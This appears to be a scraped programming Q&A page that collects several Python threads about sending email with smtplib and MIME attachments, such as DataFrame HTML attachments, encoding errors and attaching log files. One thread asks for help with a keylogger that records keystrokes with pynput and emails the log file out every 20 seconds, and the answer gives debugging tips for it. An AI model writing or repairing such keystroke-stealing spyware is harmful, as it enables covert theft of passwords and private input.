How to send Pandas DataFrame as an attachment in Pandas - python-3.x

I have searched around SO and Google a lot but did not get my answer hence ultimately thought to ask here.
I have a csv file, which I'm converting to an html frame which works fine and I can send that as an html frame via Outlook as an email.
Was looking if we can directly send df.to_html as an attachment to the e-mail ?
Below is the code:
This works fine sending as an e-mail with html frame via Outlook.
import pandas as pd
import numpy as np
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
df = pd.read_csv('graph.csv', names=['Volume_Path', 'Last Acced', 'Year', 'Month', 'Days', '1-24 hrs', '1 hour', '15 mins', 'future'])
df['Volume_Path'] = df['Volume_Path'].str.replace('\t', '')
df = df.replace(np.nan, '')
# Create message container - the correct MIME type is multipart/alternative.
##############################################################################
msg = "<u><b> Checklist</b></u><br />"
msg = msg + "<br />"
msg += df.to_html(escape=False)
def mail(msg,recipients,key):
try:
s = smtplib.SMTP('mailserver.xyz.com')
msg1 = MIMEText(msg, 'html')
sender = 'tina#xyz.com'
msg1['From'] = sender
msg1['To'] = ", ".join(recipients)
msg1['Cc'] = 'mauj#xyz.com'
msg1['Subject'] = "Mauj Test"
s.sendmail(sender, recipients, msg1.as_string())
print(f"Mail Sent to {sender}")
except Exception as error:
print(f"Mail Failed - {error}")
recipients = ['joe#xyz.com']
key=""
mail(msg,recipients,key)

If you don't want to save the pandas.DataFrame as an html file on your drive but rather attach it directly I would use MIMEBase and attach it to your message
Here html_object is the df.to_html() object.
import smtplib
from email.mime.application import MIMEApplication
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
def mail(body,recipients,key, html_object):
s = smtplib.SMTP('server.com')
msg = MIMEMultipart()
msg.attach(MIMEText(body))
part = MIMEBase('text', "html")
part.set_payload(html_object)
part.add_header('Content-Disposition', 'attachment; filename="tbl.html"')
msg.attach(part)
sender = 'me#place.com'
msg['From'] = sender
msg['To'] = ", ".join(recipients)
msg['Subject'] = "Html Test"
s.sendmail(sender, recipients, msg.as_string())
print(f"Mail Sent to {sender}")
e.g.
mail('See attached for html file.',["me#place.com"],key="", html_object=df.to_html())

Related

Problem with sendmail(email, send_to_email, msg.as_string())

I'm trying to attach and send multiple attachments to list of emails individually
import smtplib
import openpyxl
import os.path
from email import encoders
from openpyxl import load_workbook
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email.mime.multipart import MIMEMultipart
email_source_workbook = load_workbook(filename=r'C:\Users\Name\Desktop\final mailer\mail list.xlsx')
curr_sheet = email_source_workbook['ml']
attachment_location = [r'C:\Users\Name\Desktop\final mailer\at1.txt']
row_len = curr_sheet.max_row
email = 'example#email.com'
password = 'pswrd'
subject = 'test subj' #Subject
message = '''this
is test
mail
ok?
'''
msg = MIMEMultipart()
with smtplib.SMTP('smtp-mail.outlook.com', 587) as svr:
print("Initializing the server")
svr.ehlo()
svr.starttls()
svr.ehlo()
svr.login(email, password)
print("login sucessful")
for curr_attachment in attachment_location:
name_of_attachment = os.path.basename(curr_attachment)
attachment_payload = MIMEBase('application' , "octet-stream")
attachment_payload.set_payload(open(curr_attachment, "rb").read())
encoders.encode_base64(attachment_payload)
attachment_payload.add_header('Content-Disposition', 'attachment' , filename=name_of_attachment)
for i in range(1 , row_len+1):
print("###################")
send_to_email = curr_sheet.cell(row = i, column = 1).value
msg['From'] = email
msg['To'] = send_to_email
msg['Subject'] = subject
msg.attach(MIMEText(message, 'plain'))
svr.sendmail(email, send_to_email, msg.as_string())
svr.quit()
i can send the mail but the problem is for example there are 3 email addresses in the excel file
it will send the first mail to the first recipient
perfectly fine
then in the second mail it'll send it to the second and first recipient with the attachment + the wole body of mail as one more attachment
and to the third it will send to the first two recipients with the third with the original attachment with two same attachments that are the body of the mail. it will go on so fourth with n number of email addresses. i.e. 10 mail id and on the 10th mail the 10th recipient with all the previous 9 and 10 attachments.
found the solution
msg = MIMEMultipart()
should be in
for i in range(1 , row_len+1):
print("###################")
send_to_email = curr_sheet.cell(row = i, column = 1).value
msg['From'] = email
msg['To'] = send_to_email
msg['Subject'] = subject
msg = MIMEMultipart()
msg.attach(MIMEText(message, 'plain'))
svr.sendmail(email, send_to_email, msg.as_string())

Why is Python Keylogger not working properly?

I want to create a keylogger that is going to send the file to mail every x second.
import time
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
from pynput.keyboard import Key, Listener
import logging
log_dir = ''
logging.basicConfig(filename=(log_dir + "Document.txt"),
level=logging.DEBUG, format='%(asctime)s: %(message)s')
def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as Listener:
Listener.join()
mail_send()
def mail_send():
email_user = 'my mail'
email_password = 'my pass'
email_send = 'another mail'
subject = 'subject'
msg = MIMEMultipart()
msg['From'] = email_user
msg['To'] = email_send
msg['Subject'] = subject
body = 'Hi there, sending some stuff!'
msg.attach(MIMEText(body, 'plain'))
filename = 'Document.txt'
attachment = open(filename, 'rb')
part = MIMEBase('application', 'octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition', "attachment; filename= "+filename)
msg.attach(part)
text = msg.as_string()
server = smtplib.SMTP('smtp.gmail.com', 587)
server.starttls()
server.login(email_user, email_password)
server.sendmail(email_user, email_send, text)
server.quit()
time.sleep(20)
mail_send()
Code was working well before I added the "keylogging part"
It's probably not working because the file is being edited by keylogger so I would like to know how to fix it.
(my eng is bad sry)
Thanks for any tip
What's the error message you're getting, if any?
From the code you've given, I can see two problems.
First is that you've called mail_send() before defining it, and second that while you are opening the file via open(), you're not closing it. You should look up context manager to not have to deal with these issues of closing files/signing out etc.

How to set the Content-Transfer-Encoding in python

Some users are having the content transfer encoding type set as base64. How do I set the Content-Transfer-Encoding manually.
import smtplib
from email.message import EmailMessage
from email.encoders import encode_7or8bit
msg = EmailMessage()
msg.set_content(message,subtype='html')
#msg.set_charset('UTF-8')
msg['Subject'] ="your order is {} at {}".format(order_id,today_is)
msg['From'] = 'email#gmail.com'
msg['To'] = 'toemail#gmail.com'
encode_7or8bit(msg)
This is the error I am getting.
ValueError: There may be at most 1 Content-Transfer-Encoding headers in a message
If I move encode_7or8bit(msg) above msg.set_content it works, but I don't think the content is being set. Should I send something into set_content
import smtplib
from email.message import EmailMessage
msg = EmailMessage()
msg.set_content(message,subtype='html',charset='utf-8',cte='7bit')
msg['Subject'] ="your order is {} at {}".format(order_id,today_is)
msg['From'] = 'email#gmail.com'
msg['To'] = 'toemail#gmail.com'
On msg.set_content() I have to send in the cte.
Python 3 Email Content Encoding Types

Why encode_base64 give me TypeError: expected bytes-like object, not NoneType

I have an error, TypeError: expected bytes-like object, not NoneType.
The error raised from: encoders.encode_base64(eml_atch) line 56.
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email.mime.text import MIMEText
from email.utils import COMMASPACE, formatdate
from email import encoders
import os,datetime
CRLF = "\r\n"
login = "my#email.com"
password = "mypassword"
attendees = ["attendees1#gmail.com", "attendees2#gmail.com","attendees3#gmail.com"]
organizer = "ORGANIZER;CN=organiser:mailto:first"+CRLF+" #ada-asia.com"
fro = "Fahim Maula <fahim.maula#ada-asia.com>"
ddtstart = datetime.datetime.now()
dtoff = datetime.timedelta(days = 1)
dur = datetime.timedelta(hours = 1)
ddtstart = ddtstart +dtoff
dtend = ddtstart + dur
dtstamp = datetime.datetime.now().strftime("%Y%m%dT%H%M%SZ")
dtstart = ddtstart.strftime("%Y%m%dT%H%M%SZ")
dtend = dtend.strftime("%Y%m%dT%H%M%SZ")
description = "DESCRIPTION: test invitation from pyICSParser"+CRLF
attendee = ""
for att in attendees:
attendee += "ATTENDEE;CUTYPE=INDIVIDUAL;ROLE=REQ-PARTICIPANT;PARTSTAT=ACCEPTED;RSVP=TRUE"+CRLF+" ;CN="+att+";X-NUM-GUESTS=0:"+CRLF+" mailto:"+att+CRLF
ical = "BEGIN:VCALENDAR"+CRLF+"PRODID:pyICSParser"+CRLF+"VERSION:2.0"+CRLF+"CALSCALE:GREGORIAN"+CRLF
ical+="METHOD:REQUEST"+CRLF+"BEGIN:VEVENT"+CRLF+"DTSTART:"+dtstart+CRLF+"DTEND:"+dtend+CRLF+"DTSTAMP:"+dtstamp+CRLF+organizer+CRLF
ical+= "UID:FIXMEUID"+dtstamp+CRLF
ical+= attendee+"CREATED:"+dtstamp+CRLF+description+"LAST-MODIFIED:"+dtstamp+CRLF+"LOCATION:"+CRLF+"SEQUENCE:0"+CRLF+"STATUS:CONFIRMED"+CRLF
ical+= "SUMMARY:test "+ddtstart.strftime("%Y%m%d # %H:%M")+CRLF+"TRANSP:OPAQUE"+CRLF+"END:VEVENT"+CRLF+"END:VCALENDAR"+CRLF
eml_body = "Email body visible in the invite of outlook and outlook.com but not google calendar"
eml_body_bin = "This is the email body in binary - two steps"
msg = MIMEMultipart('mixed')
msg['Reply-To']=fro
msg['Date'] = formatdate(localtime=True)
msg['Subject'] = "pyICSParser invite"+dtstart
msg['From'] = fro
msg['To'] = ",".join(attendees)
part_email = MIMEText(eml_body,"html")
part_cal = MIMEText(ical,'calendar;method=REQUEST')
msgAlternative = MIMEMultipart('alternative')
msg.attach(msgAlternative)
ical_atch = MIMEBase('application/ics',' ;name="%s"'%("invite.ics"))
ical_atch.set_payload(ical)
encoders.encode_base64(ical_atch)
ical_atch.add_header('Content-Disposition', 'attachment; filename="%s"'%("invite.ics"))
eml_atch = MIMEBase('text/plain','')
encoders.encode_base64(eml_atch)
eml_atch.add_header('Content-Transfer-Encoding', "")
msgAlternative.attach(part_email)
msgAlternative.attach(part_cal)
mailServer = smtplib.SMTP('smtp.gmail.com', 587)
mailServer.ehlo()
mailServer.starttls()
mailServer.ehlo()
mailServer.login(login, password)
mailServer.sendmail(fro, attendees, msg.as_string())
mailServer.close()
Actually, I got this script from Sending Meeting Invitations With Python, and I don't know how it works. I want to test it first but I got this error. How to fix this?
It seems like this is Python2 code and things changed a bit for Python3.
The issue is this line:
eml_atch = MIMEBase('text/plain','')
Change the line to this and it will work:
eml_atch = MIMEText('', 'plain')
It should effectively do the same thing as the original line. Also change the imports to this:
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email.mime.text import MIMEText
from email.utils import formatdate
from email import encoders
import os,datetime
COMMASPACE = ', '

error when sending email in python: 'bytes' object has no attribute 'encode'

I need to send out an email in python3, below is the script and it failed with an error of:
'bytes' object has no attribute 'encode'
import smtplib
from email.mime.text import MIMEText
from email.message import EmailMessage
att1 = [u'201902260920AM.log']
msg = MIMEText("EmailOperator testing email.")
msg['Subject'] = "EmailOperator testing email."
msg['From'] = "Airflow_Notification_No_Reply#company.Com"
msg['To'] = "pasle#company.com"
msg['files'] = str(att1).encode("UTF-8")
s = smtplib.SMTP('localhost')
s.send_message(msg)
s.quit()
What's the right way to send out an email with attachment?
Much appreciated if anyone can enlighten me here, thank you in advance.
UPDATE1: you can run the above code in python3 and you will receive the error
UPDATE2: Indeed the actual log files I want to attach would be something like this:
'/home/pasle/airflow/logs/pipeline_client1/send_email/2019-02-27T01:40:38.451894+00:00/1.log'
and I need to send emails with multiple attachments, thank you for your help.
att1 = [u'201902260920AM.log']
msg = MIMEText("EmailOperator testing email.")
msg['Subject'] = "EmailOperator testing email."
msg['From'] = "Airflow_Notification_No_Reply#novantas.Com"
msg['To'] = "rxie#novantas.com"
msg['files'] = att1[0].encode("utf-8")
s = smtplib.SMTP('localhost')
s.send_message(msg)
s.quit()
It should probably work.
The fact you are using [u'ABC'] would be a one-element list of Unicode strings.
So you need to convert the list to a single Unicode string, and then convert that to utf-8.
UPDATE:
import smtplib
from os.path import basename
from email.mime.application import MIMEApplication
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
files = ['/home/pasle/airflow/logs/pipeline_client1/send_email/2019-02-27T01:40:38.451894+00:00/1.log',
'/home/pasle/airflow/logs/pipeline_client1/send_email/2019-02-27T01:40:38.451894+00:00/2.log']
msg = MIMEMultipart()
msg['From'] = 'Airflow_Notification_No_Reply#novantas.com'
msg['To'] = 'rxie#novantas.com'
msg['Subject'] = 'Email operator testing email.'
message = MIMEText('Email operator testing email body text.')
msg.attach(message)
for f in files:
with open(f, "rb") as file:
part = MIMEApplication(
file.read(),
Name=basename(f)
)
# After the file is closed
part['Content-Disposition'] = 'attachment; filename="%s"' % basename(f)
msg.attach(part)
gmail_sender = 'sender#gmail.com'
gmail_passwd = 'password'
server = smtplib.SMTP_SSL('smtp.gmail.com', 465)
server.login(gmail_sender, gmail_passwd)
server.send_message(msg)
server.quit()
As I looked into your problem Attribute Error was occurring due to not declaring msg as a MIMEMultipart() method.

Resources